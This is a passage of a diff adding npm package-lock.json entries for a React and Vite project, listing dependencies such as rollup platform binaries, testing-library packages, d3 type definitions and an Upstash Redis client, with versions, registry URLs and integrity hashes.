+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      },
+      "peerDependencies": {
+        "@noble/hashes": "^1.8.0 || ^2.0.0"
+      },
+      "peerDependenciesMeta": {
+        "@noble/hashes": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@fontsource-variable/geist-mono": {
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/@fontsource-variable/geist-mono/-/geist-mono-5.3.0.tgz",
+      "integrity": "sha512-vBbuwDEo9AkrqADMXOrlAR3DFcJi4/JxeuU43FoiQERnNwsfXNnvxvReZG02cQKmyk4DZkZdBZX3oTDvy2zBAw==",
+      "license": "OFL-1.1",
+      "funding": {
+        "url": "https://github.com/sponsors/ayuhito"
+      }
+    },
+    "node_modules/@jridgewell/gen-mapping": {
+      "version": "0.3.13",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
+      "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==",
+      "license": "MIT",
+      "dependencies": {
+        "@jridgewell/sourcemap-codec": "^1.5.0",
+        "@jridgewell/trace-mapping": "^0.3.24"
+      }
+    },
+    "node_modules/@jridgewell/remapping": {
+      "version": "2.3.5",
+      "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",
+      "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@jridgewell/gen-mapping": "^0.3.5",
+        "@jridgewell/trace-mapping": "^0.3.24"
+      }
+    },
+    "node_modules/@jridgewell/resolve-uri": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
+      "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@jridgewell/sourcemap-codec": {
+      "version": "1.5.5",
+      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
+      "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==",
+      "license": "MIT"
+    },
+    "node_modules/@jridgewell/trace-mapping": {
+      "version": "0.3.31",
+      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
+      "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==",
+      "license": "MIT",
+      "dependencies": {
+        "@jridgewell/resolve-uri": "^3.1.0",
+        "@jridgewell/sourcemap-codec": "^1.4.14"
+      }
+    },
+    "node_modules/@rolldown/pluginutils": {
+      "version": "1.0.0-beta.38",
+      "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.38.tgz",
+      "integrity": "sha512-N/ICGKleNhA5nc9XXQG/kkKHJ7S55u0x0XUJbbkmdCnFuoRkM1Il12q9q0eX19+M7KKUEPw/daUPIRnxhcxAIw==",
+      "license": "MIT"
+    },
+    "node_modules/@rollup/rollup-android-arm-eabi": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.62.2.tgz",
+      "integrity": "sha512-6o7ZLZK+BeenkZCFNDXqpbjw9bD6nuWonvS/lwQJp7NoVVxm6p3qE7qQ5jGuBjiFsgvqjD8mZAU5oWxTmbOeOg==",
+      "cpu": [
+        "arm"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ]
+    },
+    "node_modules/@rollup/rollup-android-arm64": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.62.2.tgz",
+      "integrity": "sha512-BaH7BllCACHoH1LguOU56UItGfUWjujlO65kS9LAodViaN4bwIKd7oeW/ZHJ/4ljr/7MIiENnNy3HJ0zXv8Zkw==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ]
+    },
+    "node_modules/@rollup/rollup-darwin-arm64": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.62.2.tgz",
+      "integrity": "sha512-v39RCCvj4He82I9sFmk+M1VZ0PLM9sfsLVikjfx2hYBNALhrrOR2D3JjQA6AhlaSOgcR+RzrKY7e1+bT6SUO/A==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ]
+    },
+    "node_modules/@rollup/rollup-darwin-x64": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.62.2.tgz",
+      "integrity": "sha512-yl0y2vq3S3lHeuXhEdss6TWfKW8vkujImO12tn4ZkG/4oghr09LvdYm2RElVjokTQiUvDUGXLGsYeLqUMCKpGA==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ]
+    },
+    "node_modules/@rollup/rollup-freebsd-arm64": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.62.2.tgz",
+      "integrity": "sha512-tT4pvt4qXD+vEoezupCWi+a1F0vvDiksiHc+PxRlYTOH1I6/X4id9jPxTP+Fg+545euaFT1jJVs4CEdHZAU1vw==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ]
+    },
+    "node_modules/@rollup/rollup-freebsd-x64": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.62.2.tgz",
+      "integrity": "sha512-6nU5F2wCW+qvCBhTn1pdIU3bzsIoF7EUwsCDRxilWGprQR6yd508YnH9+OKFCwpfS8pjZqDUmnCAr7exax0XCg==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-arm-gnueabihf": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.62.2.tgz",
+      "integrity": "sha512-n1GJHPOvpIfhi3TmrCeh6S6URt9BFCt0KQE3qvexyGCTAKpR4Lg+eWvNZEqu7epxwus/8ElT3hacYEucm49SZg==",
+      "cpu": [
+        "arm"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-arm-musleabihf": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.62.2.tgz",
+      "integrity": "sha512-JqgflS8wEB+UXV/vS1RpRbifGBeN4D5lz8D8oOFbFZw4vedvdOgCFAjfBmIMdW3yL10XpQQ0Ambepw6MXrhOnA==",
+      "cpu": [
+        "arm"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-arm64-gnu": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.62.2.tgz",
+      "integrity": "sha512-wnFJkogWvN4jm/hQRF2UBaeUmk20j5+DmHvoyWii2b8HJDyvz1MF2OU/6ynXt2KR63rbZLWkFpoytpdc/yBuSA==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-arm64-musl": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.62.2.tgz",
+      "integrity": "sha512-HVu2bp0zhvJ8xHEV9+UUs7S90VadmBSY3LcIMvozbPo4AuMGDWlz3ymHLHZPX4hR67TKTt8Qp5PJ5RBg/i+RMQ==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-loong64-gnu": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.62.2.tgz",
+      "integrity": "sha512-mQqqAV8QaoSgr9I2fKDLY2BAVvmKjWoGiu/cSYQonsLvtqwEn1E4QYfnCOcp5zoEqNhsDYin1s6jx/VJmrxlZg==",
+      "cpu": [
+        "loong64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-loong64-musl": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.62.2.tgz",
+      "integrity": "sha512-IxKLoxCQ2IWi6bT2akyDUBGsOImDKB+sPp4EsTmwFQ/fMwpCKm8uLSSgP/Kx/QYUgKis6SEZ5/Nlhup0DIA0PQ==",
+      "cpu": [
+        "loong64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-ppc64-gnu": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.62.2.tgz",
+      "integrity": "sha512-Mk5ha2RQSgyFfmYYLkBpPnUk8D8FriBxesO1u9O75X0mHgXL1UQcH5Itl2lurWL2tj0RxV9b9tJgipac0hRY9A==",
+      "cpu": [
+        "ppc64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-ppc64-musl": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.62.2.tgz",
+      "integrity": "sha512-CjvEnqJL/0/TQ3TXX3OPIJ/kmBellrWd4heXUmHeJlTnmwjKpSJzoehLaL6Xk0ZnMHBu9dZuFADNOrtjF4v+2w==",
+      "cpu": [
+        "ppc64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-riscv64-gnu": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.62.2.tgz",
+      "integrity": "sha512-1SiZbzwdkaDURsew/tSOrooKiYy7EQGT6m8ufavAi9NEyQb/6VuIxFXAL1fqa4iZe3g4NbNk4P7J32z2tw5Mgg==",
+      "cpu": [
+        "riscv64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-riscv64-musl": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.62.2.tgz",
+      "integrity": "sha512-nQts12zJ3NQRoE6uYljOH89v7szzLDvG2JD/vsX+vGXU8w/At1GowTZ5/7qeFQ8m7L55rpR8Okugnuo5bgjy2Q==",
+      "cpu": [
+        "riscv64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-s390x-gnu": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.62.2.tgz",
+      "integrity": "sha512-E9/ll019jhPIJgpzfZoIkBGhcz+kKNgVWYRY0zr9srBdPPFVpvOKW8VaJKUbeK+eZXyQF9ltME+Kk6affeaPgg==",
+      "cpu": [
+        "s390x"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-x64-gnu": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.62.2.tgz",
+      "integrity": "sha512-5BqxR/pshjey51iliyzTD5Xi3EN0aLmQ2lZ3lvefVV9c82BvrLo2/6OT55iifpWBufs6kdwWbuOKS841DrmK9A==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-x64-musl": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.62.2.tgz",
+      "integrity": "sha512-uNN83XxQrRAh/w0/pmAfibcwyb6YWt4gP+dpnQKPVJshAloQ785ii8CT8ZCIxkGg9opVsvAlGhFitSm6D1Jjpg==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-openbsd-x64": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.62.2.tgz",
+      "integrity": "sha512-srjEIxSH3LRnJN6THczDHWQplqEMFiAJrTab0msUryh9kwNpkICf3Ea6q6MN/2cZwRFUNx5w+h6Hpi4QuHS6Zg==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openbsd"
+      ]
+    },
+    "node_modules/@rollup/rollup-openharmony-arm64": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.62.2.tgz",
+      "integrity": "sha512-8hOJnxgbyObnCm5AlRA3A931xX19xq80RjVTKgJOvEKWqJruP/Uf12IbAOaDjjEXYRewwHLfmF0YRIdK3OwKWA==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openharmony"
+      ]
+    },
+    "node_modules/@rollup/rollup-win32-arm64-msvc": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.62.2.tgz",
+      "integrity": "sha512-mmF4AY1i0hG/bLWUctUq59gtmgaSIRa3cu/A3JFRp/sCNEme2bgDEiDS22P9FbnJB8NJNF4jPJiSP5RHQpUTDg==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/@rollup/rollup-win32-ia32-msvc": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.62.2.tgz",
+      "integrity": "sha512-DZgkknc6jhHrk46V25vbAM0zZkyP0nSDkJB8/dRkLTxv470dOmWDqGoEJl/9A0dFfS7yE3REOwNDxpHwSLSt0Q==",
+      "cpu": [
+        "ia32"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/@rollup/rollup-win32-x64-gnu": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.62.2.tgz",
+      "integrity": "sha512-T6xr6ucWSFto+VGajA8YH26LdpHRuP4YLHEKAtCWvJDOlnmWcDZVCI2Jmjr+IFHDlt2zRaTAKE4tfjTaWLgJBg==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/@rollup/rollup-win32-x64-msvc": {
+      "version": "4.62.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.62.2.tgz",
+      "integrity": "sha512-BfzEnDJOt9T8M989/lA37EcJgat01wLRnoi5dQf3QzOH7jzpqTAzdDbVfRljVr5r+jzKqpbHeyOfAaXxAd0PAA==",
+      "cpu": [
+        "x64"
+      ],
+      "devOptional": true,
+      "license": "MIT",
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/@standard-schema/spec": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz",
+      "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@tabler/icons": {
+      "version": "3.45.0",
+      "resolved": "https://registry.npmjs.org/@tabler/icons/-/icons-3.45.0.tgz",
+      "integrity": "sha512-jiATwV8+zGYLTZ7gMLGivCic+KtsMZXcDmufIG8umlLxoHhI6902hGYIEt0Oa9Y9SXblNzUlrisHm5jOFMxOQA==",
+      "license": "MIT",
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/codecalm"
+      }
+    },
+    "node_modules/@tabler/icons-react": {
+      "version": "3.45.0",
+      "resolved": "https://registry.npmjs.org/@tabler/icons-react/-/icons-react-3.45.0.tgz",
+      "integrity": "sha512-t/AuKs7ALMDDTY+B9IvfZnlO0mbLlP/lJxP/HnGC49QkM8mCsTN38kYyxjXxgrb1+TeK53ioVBJqIV7n/eysXQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@tabler/icons": "3.45.0"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/codecalm"
+      },
+      "peerDependencies": {
+        "react": ">= 16"
+      }
+    },
+    "node_modules/@testing-library/dom": {
+      "version": "10.4.1",
+      "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz",
+      "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "@babel/code-frame": "^7.10.4",
+        "@babel/runtime": "^7.12.5",
+        "@types/aria-query": "^5.0.1",
+        "aria-query": "5.3.0",
+        "dom-accessibility-api": "^0.5.9",
+        "lz-string": "^1.5.0",
+        "picocolors": "1.1.1",
+        "pretty-format": "^27.0.2"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@testing-library/jest-dom": {
+      "version": "6.9.1",
+      "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.9.1.tgz",
+      "integrity": "sha512-zIcONa+hVtVSSep9UT3jZ5rizo2BsxgyDYU7WFD5eICBE7no3881HGeb/QkGfsJs6JTkY1aQhT7rIPC7e+0nnA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@adobe/css-tools": "^4.4.0",
+        "aria-query": "^5.0.0",
+        "css.escape": "^1.5.1",
+        "dom-accessibility-api": "^0.6.3",
+        "picocolors": "^1.1.1",
+        "redent": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=14",
+        "npm": ">=6",
+        "yarn": ">=1"
+      }
+    },
+    "node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz",
+      "integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@testing-library/react": {
+      "version": "16.3.2",
+      "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz",
+      "integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/runtime": "^7.12.5"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "peerDependencies": {
+        "@testing-library/dom": "^10.0.0",
+        "@types/react": "^18.0.0 || ^19.0.0",
+        "@types/react-dom": "^18.0.0 || ^19.0.0",
+        "react": "^18.0.0 || ^19.0.0",
+        "react-dom": "^18.0.0 || ^19.0.0"
+      },
+      "peerDependenciesMeta": {
+        "@types/react": {
+          "optional": true
+        },
+        "@types/react-dom": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@testing-library/user-event": {
+      "version": "14.6.1",
+      "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz",
+      "integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12",
+        "npm": ">=6"
+      },
+      "peerDependencies": {
+        "@testing-library/dom": ">=7.21.4"
+      }
+    },
+    "node_modules/@types/aria-query": {
+      "version": "5.0.4",
+      "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz",
+      "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true
+    },
+    "node_modules/@types/babel__core": {
+      "version": "7.20.5",
+      "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
+      "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/parser": "^7.20.7",
+        "@babel/types": "^7.20.7",
+        "@types/babel__generator": "*",
+        "@types/babel__template": "*",
+        "@types/babel__traverse": "*"
+      }
+    },
+    "node_modules/@types/babel__generator": {
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
+      "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/types": "^7.0.0"
+      }
+    },
+    "node_modules/@types/babel__template": {
+      "version": "7.4.4",
+      "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
+      "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/parser": "^7.1.0",
+        "@babel/types": "^7.0.0"
+      }
+    },
+    "node_modules/@types/babel__traverse": {
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",
+      "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/types": "^7.28.2"
+      }
+    },
+    "node_modules/@types/chai": {
+      "version": "5.2.3",
+      "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz",
+      "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@types/deep-eql": "*",
+        "assertion-error": "^2.0.1"
+      }
+    },
+    "node_modules/@types/d3-color": {
+      "version": "3.1.3",
+      "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz",
+      "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==",
+      "license": "MIT"
+    },
+    "node_modules/@types/d3-drag": {
+      "version": "3.0.7",
+      "resolved": "https://registry.npmjs.org/@types/d3-drag/-/d3-drag-3.0.7.tgz",
+      "integrity": "sha512-HE3jVKlzU9AaMazNufooRJ5ZpWmLIoc90A37WU2JMmeq28w1FQqCZswHZ3xR+SuxYftzHq6WU6KJHvqxKzTxxQ==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-selection": "*"
+      }
+    },
+    "node_modules/@types/d3-interpolate": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz",
+      "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-color": "*"
+      }
+    },
+    "node_modules/@types/d3-selection": {
+      "version": "3.0.11",
+      "resolved": "https://registry.npmjs.org/@types/d3-selection/-/d3-selection-3.0.11.tgz",
+      "integrity": "sha512-bhAXu23DJWsrI45xafYpkQ4NtcKMwWnAC/vKrd2l+nxMFuvOT3XMYTIj2opv8vq8AO5Yh7Qac/nSeP/3zjTK0w==",
+      "license": "MIT"
+    },
+    "node_modules/@types/d3-transition": {
+      "version": "3.0.9",
+      "resolved": "https://registry.npmjs.org/@types/d3-transition/-/d3-transition-3.0.9.tgz",
+      "integrity": "sha512-uZS5shfxzO3rGlu0cC3bjmMFKsXv+SmZZcgp0KD22ts4uGXp5EVYGzu/0YdwZeKmddhcAccYtREJKkPfXkZuCg==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-selection": "*"
+      }
+    },
+    "node_modules/@types/d3-zoom": {
+      "version": "3.0.8",
+      "resolved": "https://registry.npmjs.org/@types/d3-zoom/-/d3-zoom-3.0.8.tgz",
+      "integrity": "sha512-iqMC4/YlFCSlO8+2Ii1GGGliCAY4XdeG748w5vQUbevlbDu0zSjH/+jojorQVBK/se0j6DUFNPBGSqD3YWYnDw==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-interpolate": "*",
+        "@types/d3-selection": "*"
+      }
+    },
+    "node_modules/@types/deep-eql": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz",
+      "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@types/estree": {
+      "version": "1.0.9",
+      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz",
+      "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==",
+      "license": "MIT"
+    },
+    "node_modules/@types/react": {
+      "version": "19.2.17",
+      "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.17.tgz",
+      "integrity": "sha512-MXfmqaVPEVgkBT/aY0aGCkRWWtByiYQXo3xdQ8r5RzuFrPiRn8Gar2tQdXSUQ2GKV3bkXckek89V8wQBY2Q/Aw==",
+      "devOptional": true,
+      "license": "MIT",
+      "dependencies": {
+        "csstype": "^3.2.2"
+      }
+    },
+    "node_modules/@types/react-dom": {
+      "version": "19.2.3",
+      "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz",
+      "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==",
+      "devOptional": true,
+      "license": "MIT",
+      "peerDependencies": {
+        "@types/react": "^19.2.0"
+      }
+    },
+    "node_modules/@upstash/redis": {
+      "version": "1.38.0",
+      "resolved": "https://registry.npmjs.org/@upstash/redis/-/redis-1.38.0.tgz",
+      "integrity": "sha512-wu+dZBptlLy0+MCUEoHmzrY/TnmgDey3+c7EbIGwrLqAvkP8yi5MWZHYGIFtAygmL4Bkz2TdFu+eU0vFPncIcg==",
+      "license": "MIT",
+      "dependencies": {
+        "uncrypto": "^0.1.3"
+      }
+    },
+    "node_modules/@vitejs/plugin-react": {
+      "version": "5.0.4",
+      "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.0.4.tgz",
+      "integrity": "sha512-La0KD0vGkVkSk6K+piWDKRUyg8Rl5iAIKRMH0vMJI0Eg47bq1eOxmoObAaQG37WMW9MSyk7Cs8EIWwJC1PtzKA==",
+      "license": "MIT",
+      "dependencies": {
